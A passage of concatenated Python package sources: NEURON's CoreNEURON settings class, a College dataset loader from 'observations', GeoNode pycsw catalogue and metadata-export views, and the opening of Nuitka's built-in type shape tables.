def __init__(self, coreneuron, new_values):
self._coreneuron = coreneuron
self._new_values = new_values
self._old_values = None
def __enter__(self):
assert self._new_values is not None
assert self._old_values is None
self._old_values = {}
for k, v in self._new_values.items():
self._old_values[k] = getattr(self._coreneuron, k)
setattr(self._coreneuron, k, v)
def __exit__(self, exc_type, exc_val, exc_tb):
assert self._new_values is not None
assert self._old_values is not None
assert self._new_values.keys() == self._old_values.keys()
# Make sure we restore values in reverse order to how we set them.
# This is important for pairs like gpu and cell_permute that interact.
for k in reversed(self._new_values.keys()):
assert getattr(self._coreneuron, k) == self._new_values[k]
setattr(self._coreneuron, k, self._old_values[k])
return False
class coreneuron(object):
"""
CoreNEURON configuration values.
An instance of this class stands in as the `neuron.coreneuron` module. Using
a class instead of a module allows getter/setter methods to be used, which
lets us ensure its properties have consistent types and values.
This can also be used as a context manager to change CoreNEURON settings
only inside a particular scope.
Attributes
----------
cell_permute
enable
file_mode
gpu
prcellstate
verbose
warp_balance
Examples
--------
>>> from neuron import coreneuron
>>> coreneuron.enable = True
>>> coreneuron.enable
True
>>> coreneuron.enable = False
>>> with coreneuron(enable=True):
... assert coreneuron.enable
... coreneuron.enable
False
"""
def __init__(self):
self._enable = False
self._gpu = False
self._num_gpus = 0
self._file_mode = False
self._cell_permute = None
self._warp_balance = 0
self._verbose = 2 # INFO
self._prcellstate = -1
self._model_stats = False
def __call__(self, **kwargs):
"""
Yields a context manager helper that can be used in a with statement.
This allows the syntax
with coreneuron(foo=bar):
assert coreneuron.foo == bar
assert coreneuron.foo == old_value
Discarding the return value, or using it in any way other than in a
with statement, will have no effect.
"""
return CoreNEURONContextHelper(self, kwargs)
def _default_cell_permute(self):
return 1 if self._gpu else 0
def valid_cell_permute(self):
return {1, 2} if self._gpu else {0, 1}
@property
def enable(self):
"""Use CoreNEURON when calling ParallelContext.psolve(tstop)."""
return self._enable
@enable.setter
def enable(self, value):
self._enable = bool(int(value))
@property
def gpu(self):
"""Activate GPU computation in CoreNEURON."""
return self._gpu
@gpu.setter
def gpu(self, value):
self._gpu = bool(int(value))
# If cell_permute has been set to a value incompatible with the new GPU
# setting, change it and print a warning.
if (
self._cell_permute is not None
and self._cell_permute not in self.valid_cell_permute()
):
print(
"WARNING: coreneuron.gpu = {} forbids coreneuron.cell_permute = {}, using {} instead".format(
self._gpu, self._cell_permute, self._default_cell_permute()
)
)
self._cell_permute = self._default_cell_permute()
@property
def num_gpus(self):
"""Get/set the number of GPU to use.
0 means to use all that are avilable.
"""
return self._num_gpus
@num_gpus.setter
def num_gpus(self, value):
self._num_gpus = int(value)
@property
def file_mode(self):
"""Run via file transfer mode instead of in-memory transfer."""
return self._file_mode
@file_mode.setter
def file_mode(self, value):
self._file_mode = bool(value)
@property
def cell_permute(self):
"""Get/set the cell permutation order. Possible values are:
- 0: no permutation (requires gpu = False)
- 1: optimize node adjacency
- 2: optimise parent node adjacency (requires gpu = True)
"""
if self._cell_permute is None:
return self._default_cell_permute()
return self._cell_permute
@cell_permute.setter
def cell_permute(self, value):
value = int(value)
assert value in self.valid_cell_permute()
self._cell_permute = value
@property
def warp_balance(self):
"""Number of warps to balance. A value of 0 indicates no balancing
should be done. This has no effect without cell_permute = 2 (and
therefore gpu = True)."""
return self._warp_balance
@warp_balance.setter
def warp_balance(self, value):
value = int(value)
assert value >= 0
self._warp_balance = value
@property
def verbose(self):
"""Configure the verbosity of CoreNEURON. Possible values are:
- 0: quiet/no output
- 1: error
- 2: info (default)
- 3: debug
"""
return self._verbose
@verbose.setter
def verbose(self, value):
value = int(value)
assert value >= 0 and value <= 3
self._verbose = value
@property
def prcellstate(self):
"""Output prcellstate information for the given gid at t=0 and at tstop.
A value of -1 indicates no prcellstate output will be generated.
"""
return self._prcellstate
@prcellstate.setter
def prcellstate(self, value):
value = int(value)
assert value >= -1
self._prcellstate = value
@property
def model_stats(self):
"""Print number of instances of each mechanism and detailed memory stats."""
return self._model_stats
@model_stats.setter
def model_stats(self, value):
self._model_stats = bool(value)
def nrncore_arg(self, tstop):
"""
Return str that can be used for pc.nrncore_run(str)
based on user properties and current NEURON settings.
:param tstop: Simulation time (ms)
"""
from neuron import h
arg = ""
tstop = float(tstop)
if not self.enable:
return arg
# note that this name is also used in C++ file nrncore_write.cpp
CORENRN_DATA_DIR = "corenrn_data"
# args derived from user properties
if self._gpu:
arg += " --gpu"
if self._num_gpus:
arg += " --num-gpus %d" % self._num_gpus
if self._file_mode:
arg += " --datpath %s" % CORENRN_DATA_DIR
arg += " --tstop %g" % tstop
arg += " --cell-permute %d" % self.cell_permute
if self._warp_balance > 0:
arg += " --nwarp %d" % self.warp_balance
if self._prcellstate >= 0:
arg += " --prcellgid %d" % self.prcellstate
arg += " --verbose %d" % self.verbose
if self._model_stats:
arg += " --model-stats"
# args derived from current NEURON settings.
pc = h.ParallelContext()
cvode = h.CVode()
if pc.nhost() > 1:
arg += " --mpi"
arg += " --voltage 1000."
if cvode.queue_mode() & 1:
arg += " --binqueue"
spkcompress = int(pc.spike_compress(-1))
if spkcompress:
arg += " --spkcompress %g" % spkcompress
# since multisend is undocumented in NEURON, perhaps it would be best
# to make the next three arg set from user properties here
multisend = int(pc.send_time(8))
if (multisend & 1) == 1:
arg += " --multisend"
interval = 2 if multisend & 4 else 1
arg += " --ms-subintervals %d" % interval
phases = 2 if multisend & 8 else 1
arg += " --ms-phases %d" % phases
return arg
sys.modules[__name__] = coreneuron() | PypiClean |
/observations-0.1.4.tar.gz/observations-0.1.4/observations/r/college.py | from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import csv
import numpy as np
import os
import sys
from observations.util import maybe_download_and_extract
def college(path):
"""U.S. News and World Report's College Data
Statistics for a large number of US Colleges from the 1995 issue of US
News and World Report.
A data frame with 777 observations on the following 18 variables.
`Private`
A factor with levels `No` and `Yes` indicating private or public
university
`Apps`
Number of applications received
`Accept`
Number of applications accepted
`Enroll`
Number of new students enrolled
`Top10perc`
Pct. new students from top 10% of H.S. class
`Top25perc`
Pct. new students from top 25% of H.S. class
`F.Undergrad`
Number of fulltime undergraduates
`P.Undergrad`
Number of parttime undergraduates
`Outstate`
Out-of-state tuition
`Room.Board`
Room and board costs
`Books`
Estimated book costs
`Personal`
Estimated personal spending
`PhD`
Pct. of faculty with Ph.D.'s
`Terminal`
Pct. of faculty with terminal degree
`S.F.Ratio`
Student/faculty ratio
`perc.alumni`
Pct. alumni who donate
`Expend`
Instructional expenditure per student
`Grad.Rate`
Graduation rate
This dataset was taken from the StatLib library which is maintained at
Carnegie Mellon University. The dataset was used in the ASA Statistical
Graphics Section's 1995 Data Analysis Exposition.
Args:
path: str.
Path to directory which either stores file or otherwise file will
be downloaded and extracted there.
Filename is `college.csv`.
Returns:
Tuple of np.ndarray `x_train` with 777 rows and 18 columns and
dictionary `metadata` of column headers (feature names).
"""
import pandas as pd
path = os.path.expanduser(path)
filename = 'college.csv'
if not os.path.exists(os.path.join(path, filename)):
url = 'http://dustintran.com/data/r/ISLR/College.csv'
maybe_download_and_extract(path, url,
save_file_name='college.csv',
resume=False)
data = pd.read_csv(os.path.join(path, filename), index_col=0,
parse_dates=True)
x_train = data.values
metadata = {'columns': data.columns}
return x_train, metadata | PypiClean |
/GeoNode-3.2.0-py3-none-any.whl/geonode/catalogue/views.py | import os
import logging
from django.conf import settings
from django.http import HttpResponse, HttpResponseRedirect
from django.shortcuts import render
from django.contrib.auth import get_user_model
from django.views.decorators.csrf import csrf_exempt
from pycsw import server
from guardian.shortcuts import get_objects_for_user
from geonode.catalogue.backends.pycsw_local import CONFIGURATION
from geonode.base.models import ResourceBase
from geonode.layers.models import Layer
from geonode.base.auth import get_or_create_token
from geonode.base.models import ContactRole, SpatialRepresentationType
from geonode.groups.models import GroupProfile
from django.db import connection
from django.core.exceptions import ObjectDoesNotExist
@csrf_exempt
def csw_global_dispatch(request, layer_filter=None, config_updater=None):
"""pycsw wrapper"""
# this view should only operate if pycsw_local is the backend
# else, redirect to the URL of the non-pycsw_local backend
if settings.CATALOGUE['default']['ENGINE'] != 'geonode.catalogue.backends.pycsw_local':
return HttpResponseRedirect(settings.CATALOGUE['default']['URL'])
mdict = dict(settings.PYCSW['CONFIGURATION'], **CONFIGURATION)
mdict = config_updater(mdict) if config_updater else mdict
access_token = None
if request and request.user:
access_token = get_or_create_token(request.user)
if access_token and access_token.is_expired():
access_token = None
absolute_uri = f'{request.build_absolute_uri()}'
query_string = f"{request.META['QUERY_STRING']}"
env = request.META.copy()
if access_token and not access_token.is_expired():
env.update({'access_token': access_token.token})
if 'access_token' not in query_string:
absolute_uri = f'{absolute_uri}&access_token={access_token.token}'
query_string = f'{query_string}&access_token={access_token.token}'
env.update({'local.app_root': os.path.dirname(__file__),
'REQUEST_URI': absolute_uri,
'QUERY_STRING': query_string})
# Save original filter before doing anything
mdict_filter = mdict['repository']['filter']
try:
# Filter out Layers not accessible to the User
authorized_ids = []
if request.user:
profiles = get_user_model().objects.filter(username=str(request.user))
else:
profiles = get_user_model().objects.filter(username="AnonymousUser")
if profiles:
authorized = list(
get_objects_for_user(
profiles[0],
'base.view_resourcebase').values('id'))
layers = ResourceBase.objects.filter(
id__in=[d['id'] for d in authorized])
if layer_filter and layers:
layers = layer_filter(layers)
if layers:
authorized_ids = [d.id for d in layers]
if len(authorized_ids) > 0:
authorized_layers = f"({', '.join(str(e) for e in authorized_ids)})"
authorized_layers_filter = f"id IN {authorized_layers}"
mdict['repository']['filter'] += f" AND {authorized_layers_filter}"
if request.user and request.user.is_authenticated:
mdict['repository']['filter'] = f"({mdict['repository']['filter']}) OR ({authorized_layers_filter})"
else:
authorized_layers_filter = "id = -9999"
mdict['repository']['filter'] += f" AND {authorized_layers_filter}"
# Filter out Documents and Maps
if 'ALTERNATES_ONLY' in settings.CATALOGUE['default'] and settings.CATALOGUE['default']['ALTERNATES_ONLY']:
mdict['repository']['filter'] += " AND alternate IS NOT NULL"
# Filter out Layers belonging to specific Groups
is_admin = False
if request.user:
is_admin = request.user.is_superuser if request.user else False
if not is_admin and settings.GROUP_PRIVATE_RESOURCES:
groups_ids = []
if request.user and request.user.is_authenticated:
for group in request.user.groups.all():
groups_ids.append(group.id)
group_list_all = []
try:
group_list_all = request.user.group_list_all().values('group')
except Exception:
pass
for group in group_list_all:
if isinstance(group, dict):
if 'group' in group:
groups_ids.append(group['group'])
else:
groups_ids.append(group.id)
public_groups = GroupProfile.objects.exclude(
access="private").values('group')
for group in public_groups:
if isinstance(group, dict):
if 'group' in group:
groups_ids.append(group['group'])
else:
groups_ids.append(group.id)
if len(groups_ids) > 0:
groups = f"({', '.join(str(e) for e in groups_ids)})"
groups_filter = f"(group_id IS NULL OR group_id IN {groups})"
mdict['repository']['filter'] += f" AND {groups_filter}"
else:
groups_filter = "group_id IS NULL"
mdict['repository']['filter'] += f" AND {groups_filter}"
csw = server.Csw(mdict, env, version='2.0.2')
content = csw.dispatch_wsgi()
# pycsw 2.0 has an API break:
# - pycsw < 2.0: content = xml_response
# - pycsw >= 2.0: content = [http_status_code, content]
# deal with the API break
if isinstance(content, list): # pycsw 2.0+
content = content[1]
finally:
# Restore original filter before doing anything
mdict['repository']['filter'] = mdict_filter
return HttpResponse(content, content_type=csw.contenttype)
@csrf_exempt
def opensearch_dispatch(request):
"""OpenSearch wrapper"""
ctx = {
'shortname': settings.PYCSW['CONFIGURATION']['metadata:main']['identification_title'],
'description': settings.PYCSW['CONFIGURATION']['metadata:main']['identification_abstract'],
'developer': settings.PYCSW['CONFIGURATION']['metadata:main']['contact_name'],
'contact': settings.PYCSW['CONFIGURATION']['metadata:main']['contact_email'],
'attribution': settings.PYCSW['CONFIGURATION']['metadata:main']['provider_name'],
'tags': settings.PYCSW['CONFIGURATION']['metadata:main']['identification_keywords'].replace(',', ' '),
'url': settings.SITEURL.rstrip('/') if settings.SITEURL.startswith('http') else settings.SITEURL
}
return render(request, 'catalogue/opensearch_description.xml', context=ctx,
content_type='application/opensearchdescription+xml')
# transforms a row sql query into a two dimension array
def dictfetchall(cursor):
"""Generate all rows from a cursor as a dict"""
for row in cursor.fetchall():
yield {col[0]: row for col in cursor.description}
# choose separators
def get_CSV_spec_char():
return {"separator": ';', "carriage_return": '\r\n'}
# format value to unicode str without ';' char
def fst(value):
chrs = get_CSV_spec_char()
result = str(value)
result = result.replace(chrs["separator"], ',').replace('\\n', ' ').replace('\r\n', ' ')
return result
# from a resource object, build the corresponding metadata dict
# the aim is to handle the output format (csv, html or pdf) the same structure
def build_md_dict(resource):
md_dict = {
'r_uuid': {'label': 'uuid', 'value': resource.uuid},
'r_title': {'label': 'titre', 'value': resource.title}
}
return md_dict
def get_keywords(resource):
content = ' '
cursor = connection.cursor()
cursor.execute(
"SELECT a.*,b.* FROM taggit_taggeditem as a,taggit_tag"
" as b WHERE a.object_id = %s AND a.tag_id=b.id", [resource.id])
for x in dictfetchall(cursor):
content += f"{fst(x['name'])}, "
return content[:-2]
# from a resource uuid, return a httpResponse
# containing the whole geonode metadata
@csrf_exempt
def csw_render_extra_format_txt(request, layeruuid, resname):
"""pycsw wrapper"""
resource = ResourceBase.objects.get(uuid=layeruuid)
chrs = get_CSV_spec_char()
s = chrs['separator']
c = chrs['carriage_return']
sc = s + c
content = f"Resource metadata{sc}"
content += f"uuid{s}{fst(resource.uuid)}{sc}"
content += f"title{s}{fst(resource.title)}{sc}"
content += f"resource owner{s}{fst(resource.owner)}{sc}"
content += f"date{s}{fst(resource.date)}{sc}"
content += f"date type{s}{fst(resource.date_type)}{sc}"
content += f"abstract{s}{fst(resource.abstract)}{sc}"
content += f"edition{s}{fst(resource.edition)}{sc}"
content += f"purpose{s}{fst(resource.purpose)}{sc}"
content += f"maintenance frequency{s}{fst(resource.maintenance_frequency)}{sc}"
try:
sprt = SpatialRepresentationType.objects.get(
id=resource.spatial_representation_type_id)
content += f"identifier{s}{fst(sprt.identifier)}{sc}"
except ObjectDoesNotExist:
content += f"ObjectDoesNotExist{sc}"
content += f"restriction code type{s}{fst(resource.restriction_code_type)}{sc}"
content += f"constraints other {s}{fst(resource.constraints_other)}{sc}"
content += f"license{s}{fst(resource.license)}{sc}"
content += f"language{s}{fst(resource.language)}{sc}"
content += f"temporal extent{sc}"
content += f"temporal extent start{s}{fst(resource.temporal_extent_start)}{sc}"
content += f"temporal extent end{s}{fst(resource.temporal_extent_end)}{sc}"
content += f"supplemental information{s}{fst(resource.supplemental_information)}{sc}"
"""content += 'URL de distribution ' + s + fst(
resource.distribution_url) + sc"""
"""content += 'description de la distribution' + s + fst(
resource.distribution_description) + sc"""
content += f"data quality statement{s}{fst(resource.data_quality_statement)}{sc}"
ext = resource.bbox_polygon.extent
content += f"extent {s}{fst(ext[0])},{fst(ext[2])},{fst(ext[1])},{fst(ext[3])}{sc}"
content += f"SRID {s}{fst(resource.srid)}{sc}"
content += f"Thumbnail url{s}{fst(resource.thumbnail_url)}{sc}"
content += f"keywords;{get_keywords(resource)}{s}"
content += f"category{s}{fst(resource.category)}{sc}"
content += f"regions{s}"
for reg in resource.regions.all():
content += f"{fst(reg.name_en)},"
content = content[:-1]
content += sc
if resource.detail_url.find('/layers/') > -1:
layer = Layer.objects.get(resourcebase_ptr_id=resource.id)
content += f"attribute data{sc}"
content += 'attribute name;label;description\n'
for attr in layer.attribute_set.all():
content += fst(attr.attribute) + s
content += fst(attr.attribute_label) + s
content += fst(attr.description) + sc
pocr = ContactRole.objects.get(
resource_id=resource.id, role='pointOfContact')
pocp = get_user_model().objects.get(id=pocr.contact_id)
content += f"Point of Contact{sc}"
content += f"name{s}{fst(pocp.last_name)}{sc}"
content += f"e-mail{s}{fst(pocp.email)}{sc}"
logger = logging.getLogger(__name__)
logger.error(content)
return HttpResponse(content, content_type="text/csv")
def csw_render_extra_format_html(request, layeruuid, resname):
resource = ResourceBase.objects.get(uuid=layeruuid)
extra_res_md = {}
try:
sprt = SpatialRepresentationType.objects.get(
id=resource.spatial_representation_type_id)
extra_res_md['sprt_identifier'] = sprt.identifier
except ObjectDoesNotExist:
extra_res_md['sprt_identifier'] = 'not filled'
kw = get_keywords(resource)
if len(kw) == 0:
extra_res_md['keywords'] = "no keywords"
else:
extra_res_md['keywords'] = get_keywords(resource)
if resource.detail_url.find('/layers/') > -1:
layer = Layer.objects.get(resourcebase_ptr_id=resource.id)
extra_res_md['atrributes'] = ''
for attr in layer.attribute_set.all():
s = f"<tr><td>{attr.attribute}</td><td>{attr.attribute_label}</td><td>{attr.description}</td></tr>"
extra_res_md['atrributes'] += s
pocr = ContactRole.objects.get(
resource_id=resource.id, role='pointOfContact')
pocp = get_user_model().objects.get(id=pocr.contact_id)
extra_res_md['poc_last_name'] = pocp.last_name
extra_res_md['poc_email'] = pocp.email
return render(request, "geonode_metadata_full.html", context={"resource": resource,
"extra_res_md": extra_res_md}) | PypiClean |
/Nuitka_winsvc-1.7.10-cp310-cp310-win_amd64.whl/nuitka/nodes/shapes/BuiltinTypeShapes.py | from nuitka.code_generation.c_types.CTypeNuitkaBooleans import (
CTypeNuitkaBoolEnum,
)
from nuitka.code_generation.c_types.CTypeNuitkaInts import (
CTypeNuitkaIntOrLongStruct,
)
from nuitka.code_generation.Reports import onMissingOperation
from nuitka.Constants import the_empty_unicode
from nuitka.Options import isExperimental
from nuitka.PythonVersions import python_version
from .ControlFlowDescriptions import (
ControlFlowDescriptionAddUnsupported,
ControlFlowDescriptionBitandUnsupported,
ControlFlowDescriptionBitorUnsupported,
ControlFlowDescriptionBitxorUnsupported,
ControlFlowDescriptionComparisonUnorderable,
ControlFlowDescriptionDivmodUnsupported,
ControlFlowDescriptionElementBasedEscape,
ControlFlowDescriptionFloorDivUnsupported,
ControlFlowDescriptionFormatError,
ControlFlowDescriptionLshiftUnsupported,
ControlFlowDescriptionMatmultUnsupported,
ControlFlowDescriptionModUnsupported,
ControlFlowDescriptionMulUnsupported,
ControlFlowDescriptionNoEscape,
ControlFlowDescriptionOldDivUnsupported,
ControlFlowDescriptionPowUnsupported,
ControlFlowDescriptionRshiftUnsupported,
ControlFlowDescriptionSubUnsupported,
ControlFlowDescriptionTrueDivUnsupported,
ControlFlowDescriptionValueErrorNoEscape,
ControlFlowDescriptionZeroDivisionNoEscape,
)
from .ShapeMixins import (
ShapeContainerImmutableMixin,
ShapeContainerMixin,
ShapeContainerMutableMixin,
ShapeIteratorMixin,
ShapeNotContainerMixin,
ShapeNotNumberMixin,
ShapeNumberMixin,
)
from .StandardShapes import (
ShapeBase,
ShapeLoopCompleteAlternative,
ShapeLoopInitialAlternative,
ShapeTypeUnknown,
operation_result_unknown,
tshape_unknown,
)
# Updated later only, due to cyclic dependencies, make the dictionary
# available for reference use in class definition.
add_shapes_none = {}
sub_shapes_none = {}
mult_shapes_none = {}
floordiv_shapes_none = {}
truediv_shapes_none = {}
olddiv_shapes_none = {}
mod_shapes_none = {}
divmod_shapes_none = {}
pow_shapes_none = {}
bitor_shapes_none = {}
bitand_shapes_none = {}
bitxor_shapes_none = {}
lshift_shapes_none = {}
rshift_shapes_none = {}
matmult_shapes_none = {}
add_shapes_bool = {}
sub_shapes_bool = {}
mult_shapes_bool = {}
floordiv_shapes_bool = {}
truediv_shapes_bool = {}
olddiv_shapes_bool = {}
mod_shapes_bool = {}
divmod_shapes_bool = {}
pow_shapes_bool = {}
bitor_shapes_bool = {}
bitand_shapes_bool = {}
bitxor_shapes_bool = {}
lshift_shapes_bool = {}
rshift_shapes_bool = {}
matmult_shapes_bool = matmult_shapes_none
add_shapes_int = {}
sub_shapes_int = {}
mult_shapes_int = {}
floordiv_shapes_int = {}
truediv_shapes_int = {}
olddiv_shapes_int = {}
mod_shapes_int = {}
divmod_shapes_int = divmod_shapes_bool
pow_shapes_int = {}
bitor_shapes_int = {}
bitand_shapes_int = {}
bitxor_shapes_int = {}
lshift_shapes_int = {}
rshift_shapes_int = {}
matmult_shapes_int = matmult_shapes_none
add_shapes_long = {}
sub_shapes_long = {}
mult_shapes_long = {}
floordiv_shapes_long = {}
truediv_shapes_long = truediv_shapes_int
olddiv_shapes_long = {}
mod_shapes_long = {}
divmod_shapes_long = divmod_shapes_bool
pow_shapes_long = {}
bitor_shapes_long = {}
bitand_shapes_long = {}
bitxor_shapes_long = {}
lshift_shapes_long = {}
rshift_shapes_long = {}
matmult_shapes_long = matmult_shapes_none
add_shapes_intorlong = {}
sub_shapes_intorlong = {}
mult_shapes_intorlong = {}
floordiv_shapes_intorlong = {}
truediv_shapes_intorlong = {}
olddiv_shapes_intorlong = {}
mod_shapes_intorlong = {}
divmod_shapes_intorlong = {}
pow_shapes_intorlong = {}
bitor_shapes_intorlong = {}
bitand_shapes_intorlong = {}
bitxor_shapes_intorlong = {}
lshift_shapes_intorlong = {}
rshift_shapes_intorlong = {}
matmult_shapes_intorlong = matmult_shapes_none
add_shapes_float = {}
sub_shapes_float = {}
mult_shapes_float = {}
floordiv_shapes_float = {}
truediv_shapes_float = {}
olddiv_shapes_float = {}
mod_shapes_float = {}
divmod_shapes_float = divmod_shapes_bool
pow_shapes_float = {}
bitor_shapes_float = bitor_shapes_none
bitand_shapes_float = bitand_shapes_none
bitxor_shapes_float = bitxor_shapes_none
lshift_shapes_float = lshift_shapes_none
rshift_shapes_float = rshift_shapes_none
matmult_shapes_float = matmult_shapes_none
add_shapes_complex = {}
sub_shapes_complex = {}
mult_shapes_complex = {}
if python_version < 0x300:
floordiv_shapes_complex = {}
else:
floordiv_shapes_complex = floordiv_shapes_none
truediv_shapes_complex = {}
olddiv_shapes_complex = {}
mod_shapes_complex = {}
divmod_shapes_complex = divmod_shapes_bool
pow_shapes_complex = {}
bitor_shapes_complex = bitor_shapes_none
bitand_shapes_complex = bitand_shapes_none
bitxor_shapes_complex = bitxor_shapes_none
lshift_shapes_complex = lshift_shapes_none
rshift_shapes_complex = rshift_shapes_none
matmult_shapes_complex = matmult_shapes_none
add_shapes_tuple = {}
sub_shapes_tuple = sub_shapes_none
mult_shapes_tuple = {}
floordiv_shapes_tuple = floordiv_shapes_none
truediv_shapes_tuple = truediv_shapes_none
olddiv_shapes_tuple = olddiv_shapes_none
mod_shapes_tuple = mod_shapes_none
divmod_shapes_tuple = divmod_shapes_none
pow_shapes_tuple = pow_shapes_none
bitor_shapes_tuple = bitor_shapes_none
bitand_shapes_tuple = bitand_shapes_none
bitxor_shapes_tuple = bitxor_shapes_none
lshift_shapes_tuple = lshift_shapes_none
rshift_shapes_tuple = rshift_shapes_none
matmult_shapes_tuple = matmult_shapes_none
add_shapes_list = {}
iadd_shapes_list = {}
sub_shapes_list = sub_shapes_none
mult_shapes_list = {}
floordiv_shapes_list = floordiv_shapes_none
truediv_shapes_list = truediv_shapes_none
olddiv_shapes_list = olddiv_shapes_none
mod_shapes_list = mod_shapes_none
divmod_shapes_list = divmod_shapes_none
pow_shapes_list = pow_shapes_none
bitor_shapes_list = bitor_shapes_none
bitand_shapes_list = bitand_shapes_none
bitxor_shapes_list = bitxor_shapes_none
lshift_shapes_list = lshift_shapes_none
rshift_shapes_list = rshift_shapes_none
matmult_shapes_list = matmult_shapes_none
add_shapes_set = {}
sub_shapes_set = {}
mult_shapes_set = mult_shapes_none
floordiv_shapes_set = floordiv_shapes_none
truediv_shapes_set = truediv_shapes_none
olddiv_shapes_set = olddiv_shapes_none
mod_shapes_set = mod_shapes_none
divmod_shapes_set = divmod_shapes_none
pow_shapes_set = pow_shapes_none
bitor_shapes_set = {}
bitand_shapes_set = {}
bitxor_shapes_set = {}
lshift_shapes_set = lshift_shapes_none
rshift_shapes_set = rshift_shapes_none
matmult_shapes_set = matmult_shapes_none
add_shapes_frozenset = {}
sub_shapes_frozenset = {}
mult_shapes_frozenset = mult_shapes_none
floordiv_shapes_frozenset = floordiv_shapes_none
truediv_shapes_frozenset = truediv_shapes_none
olddiv_shapes_frozenset = olddiv_shapes_none
mod_shapes_frozenset = mod_shapes_none
divmod_shapes_frozenset = divmod_shapes_none
pow_shapes_frozenset = pow_shapes_none
bitor_shapes_frozenset = {}
bitand_shapes_frozenset = {}
bitxor_shapes_frozenset = {}
lshift_shapes_frozenset = lshift_shapes_none
rshift_shapes_frozenset = rshift_shapes_none
matmult_shapes_frozenset = matmult_shapes_none
add_shapes_dict = {}
sub_shapes_dict = sub_shapes_none
mult_shapes_dict = mult_shapes_none
floordiv_shapes_dict = floordiv_shapes_none
truediv_shapes_dict = truediv_shapes_none
olddiv_shapes_dict = olddiv_shapes_none
mod_shapes_dict = mod_shapes_none
divmod_shapes_dict = divmod_shapes_none
pow_shapes_dict = pow_shapes_none
bitor_shapes_dict = dict(bitor_shapes_none)
ibitor_shapes_dict = dict(bitor_shapes_none)
bitand_shapes_dict = bitand_shapes_none
bitxor_shapes_dict = bitxor_shapes_none
lshift_shapes_dict = lshift_shapes_none
rshift_shapes_dict = rshift_shapes_none
matmult_shapes_dict = matmult_shapes_none
add_shapes_str = {}
sub_shapes_str = sub_shapes_none
mult_shapes_str = {}
floordiv_shapes_str = floordiv_shapes_none
truediv_shapes_str = truediv_shapes_none
olddiv_shapes_str = olddiv_shapes_none
mod_shapes_str = {}
divmod_shapes_str = divmod_shapes_none
pow_shapes_str = pow_shapes_none
bitor_shapes_str = bitor_shapes_none
bitand_shapes_str = bitand_shapes_none
bitxor_shapes_str = bitxor_shapes_none
lshift_shapes_str = lshift_shapes_none
rshift_shapes_str = rshift_shapes_none
matmult_shapes_str = matmult_shapes_none
add_shapes_bytes = {}
sub_shapes_bytes = sub_shapes_none
mult_shapes_bytes = {}
floordiv_shapes_bytes = floordiv_shapes_none
truediv_shapes_bytes = truediv_shapes_none
olddiv_shapes_bytes = olddiv_shapes_none
mod_shapes_bytes = {}
divmod_shapes_bytes = divmod_shapes_none
pow_shapes_bytes = pow_shapes_none
bitor_shapes_bytes = bitor_shapes_none
bitand_shapes_bytes = bitand_shapes_none
bitxor_shapes_bytes = bitxor_shapes_none
lshift_shapes_bytes = lshift_shapes_none
rshift_shapes_bytes = rshift_shapes_none
matmult_shapes_bytes = matmult_shapes_none
add_shapes_bytearray = {}
sub_shapes_bytearray = sub_shapes_none
mult_shapes_bytearray = {}
floordiv_shapes_bytearray = floordiv_shapes_none
truediv_shapes_bytearray = truediv_shapes_none
olddiv_shapes_bytearray = olddiv_shapes_none
mod_shapes_bytearray = {}
divmod_shapes_bytearray = divmod_shapes_none
pow_shapes_bytearray = pow_shapes_none
bitor_shapes_bytearray = bitor_shapes_none
bitand_shapes_bytearray = bitand_shapes_none
bitxor_shapes_bytearray = bitxor_shapes_none
lshift_shapes_bytearray = lshift_shapes_none
rshift_shapes_bytearray = rshift_shapes_none
matmult_shapes_bytearray = matmult_shapes_none
add_shapes_unicode = {}
sub_shapes_unicode = sub_shapes_none
mult_shapes_unicode = {}
floordiv_shapes_unicode = floordiv_shapes_none
truediv_shapes_unicode = truediv_shapes_none
olddiv_shapes_unicode = olddiv_shapes_none
mod_shapes_unicode = {}
divmod_shapes_unicode = divmod_shapes_none
pow_shapes_unicode = pow_shapes_none
bitor_shapes_unicode = bitor_shapes_none
bitand_shapes_unicode = bitand_shapes_none
bitxor_shapes_unicode = bitxor_shapes_none
lshift_shapes_unicode = lshift_shapes_none
rshift_shapes_unicode = rshift_shapes_none
matmult_shapes_unicode = matmult_shapes_none
add_shapes_strorunicode = {}
sub_shapes_strorunicode = {}
mult_shapes_strorunicode = {}
floordiv_shapes_strorunicode = {}
truediv_shapes_strorunicode = {}
olddiv_shapes_strorunicode = {}
mod_shapes_strorunicode = {}
divmod_shapes_strorunicode = {}
pow_shapes_strorunicode = {}
bitor_shapes_strorunicode = {}
bitand_shapes_strorunicode = {}
bitxor_shapes_strorunicode = {}
lshift_shapes_strorunicode = {}
rshift_shapes_strorunicode = {}
matmult_shapes_strorunicode = matmult_shapes_none
def _getComparisonLtShapeGeneric(self, right_shape):
if type(right_shape) is ShapeLoopCompleteAlternative:
return right_shape.getComparisonLtLShape(self)
if type(right_shape) is ShapeLoopInitialAlternative:
return operation_result_unknown
onMissingOperation("Lt", self, right_shape)
return operation_result_unknown
def _getComparisonEqShapeGeneric(self, right_shape):
if type(right_shape) is ShapeLoopCompleteAlternative:
return right_shape.getComparisonEqLShape(self)
if type(right_shape) is ShapeLoopInitialAlternative:
return operation_result_unknown
onMissingOperation("Eq", self, right_shape)
return operation_result_unknown
class ShapeTypeNoneType(ShapeNotContainerMixin, ShapeNotNumberMixin, ShapeBase):
typical_value = None
@staticmethod
def getTypeName():
return "NoneType"
@staticmethod
def hasShapeSlotHash():
return True
@staticmethod
def hasShapeTrustedAttributes():
return True
add_shapes = add_shapes_none
sub_shapes = sub_shapes_none
mult_shapes = mult_shapes_none
floordiv_shapes = floordiv_shapes_none
truediv_shapes = truediv_shapes_none
olddiv_shapes = olddiv_shapes_none
mod_shapes = mod_shapes_none
divmod_shapes = divmod_shapes_none
pow_shapes = pow_shapes_none
bitor_shapes = bitor_shapes_none
bitand_shapes = bitand_shapes_none
bitxor_shapes = bitxor_shapes_none
lshift_shapes = lshift_shapes_none
rshift_shapes = rshift_shapes_none
matmult_shapes = matmult_shapes_none
if python_version < 0x300:
def getComparisonLtShape(self, right_shape):
if right_shape is tshape_unknown:
return operation_result_unknown
if right_shape.getTypeName() is not None:
return operation_result_bool_noescape
if right_shape in (tshape_int_or_long, tshape_str_or_unicode):
return operation_result_bool_noescape
return _getComparisonLtShapeGeneric(self, right_shape)
else:
def getComparisonLtShape(self, right_shape):
if right_shape is tshape_unknown:
return operation_result_unknown
if right_shape.getTypeName() is not None:
return operation_result_unorderable_comparison
return _getComparisonLtShapeGeneric(self, right_shape)
def getComparisonEqShape(self, right_shape):
if right_shape is tshape_unknown:
return operation_result_unknown
